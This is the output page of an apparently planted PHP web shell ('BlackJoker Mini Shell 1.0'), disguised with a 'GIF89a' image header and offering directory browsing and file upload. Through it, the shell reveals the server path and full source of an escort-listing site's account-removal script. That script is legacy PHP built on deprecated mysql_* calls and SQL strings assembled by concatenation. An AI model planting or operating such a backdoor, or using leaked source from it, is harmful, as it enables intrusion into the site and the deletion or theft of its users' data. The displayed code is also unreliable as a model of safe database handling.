GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/rmvaccount_process.php

<?
 session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
if($_POST)
{
		if(($_POST['rmvAd']) && ($_POST['rmvAcc']))
		{
			
			
			$sql_photo="DELETE FROM escort_photo  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_photo);
			
			$sql_tour="DELETE FROM escort_tours  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_tour);
			
			
					$sql_estdt="select * from escort_details where user_id='".$_SESSION['userid']."'";
					$res_estdt=execute_query($sql_estdt);
					$row_estdt=mysql_fetch_array($res_estdt);
					
					$sql_popularity="DELETE FROM popularity  WHERE postid='".$row_estdt['id']."'";
					execute_query($sql_popularity);
					
					
			
			$sql_deleteest="DELETE from USER_IMPRESSION_REPORT where user_id='".$_SESSION['userid']."'";
			execute_query($sql_deleteest);
			
			$sql_dtuser="DELETE from USER_AD_REPORT where user_id='".$_SESSION['userid']."'";
			execute_query($sql_dtuser);
			
			$sql_remove="DELETE FROM user_info  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_remove);
			
			$sql_removead="DELETE FROM escort_details  WHERE user_id='".$_SESSION['userid']."'";
			execute_query($sql_removead);
			
			
			
			session_destroy();
			session_unset('userid');
			session_unset('userlogin');
			session_unset('user');
			session_unset('acctype');
			
			
			?>
            
        <script language="javascript">
        	location.href="home.php";
        </script>
        <?
		}
		
		else if($_POST['rmvAd']) 
		{
			$sql_query="SELECT * FROM escort_details where user_id='".$_SESSION['userid']."'";
			$res_query=execute_query($sql_query);
			$num_query=mysql_num_rows($res_query);
			if($num_query>0)
			{
			
			
			$sql_photo="DELETE FROM escort_photo  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_photo);
			
			$sql_tour="DELETE FROM escort_tours  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_tour);
			
						$sql_estdt="select * from escort_details where user_id='".$_SESSION['userid']."'";
						$res_estdt=execute_query($sql_estdt);
						$row_estdt=mysql_fetch_array($res_estdt);
						
						$sql_popularity="DELETE FROM popularity  WHERE postid='".$row_estdt['id']."'";
						execute_query($sql_popularity);
			
			$sql_deleteest="DELETE from USER_IMPRESSION_REPORT where user_id='".$_SESSION['userid']."'";
			execute_query($sql_deleteest);
			
			$sql_dtuser="DELETE from USER_AD_REPORT where user_id='".$_SESSION['userid']."'";
			execute_query($sql_dtuser);
			
			$sql_remove="DELETE FROM escort_details  WHERE user_id='".$_SESSION['userid']."'";
			execute_query($sql_remove);
			
			
			?>
			<script language="javascript">
                location.href="dashboard.php";
            </script>
            <?
			}else {
				?>
			<script language="javascript">
                location.href="remove-account.php?msg=1";
            </script>
            <?
				
			}
		}
		else
		{
			
			
			$sql_photo="DELETE FROM escort_photo  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_photo);
			
			$sql_tour="DELETE FROM escort_tours  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_tour);
			
						$sql_estdt="select * from escort_details where user_id='".$_SESSION['userid']."'";
						$res_estdt=execute_query($sql_estdt);
						$row_estdt=mysql_fetch_array($res_estdt);
						
						$sql_popularity="DELETE FROM popularity  WHERE postid='".$row_estdt['id']."'";
						execute_query($sql_popularity);
			
			$sql_remove="DELETE FROM user_info  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_remove);
			
			$sql_removead="DELETE FROM escort_details  WHERE user_id='".$_SESSION['userid']."'";
			execute_query($sql_removead);
			
			
			session_destroy('');
			
			session_unset('userid');
			session_unset('userlogin');
			session_unset('user');
			session_unset('acctype');
			?>
        <script language="javascript">
        	location.href="dashboard.php";
        </script>
        <?
			
		}
}
?>

./BlackJoker Mini Shell 1.0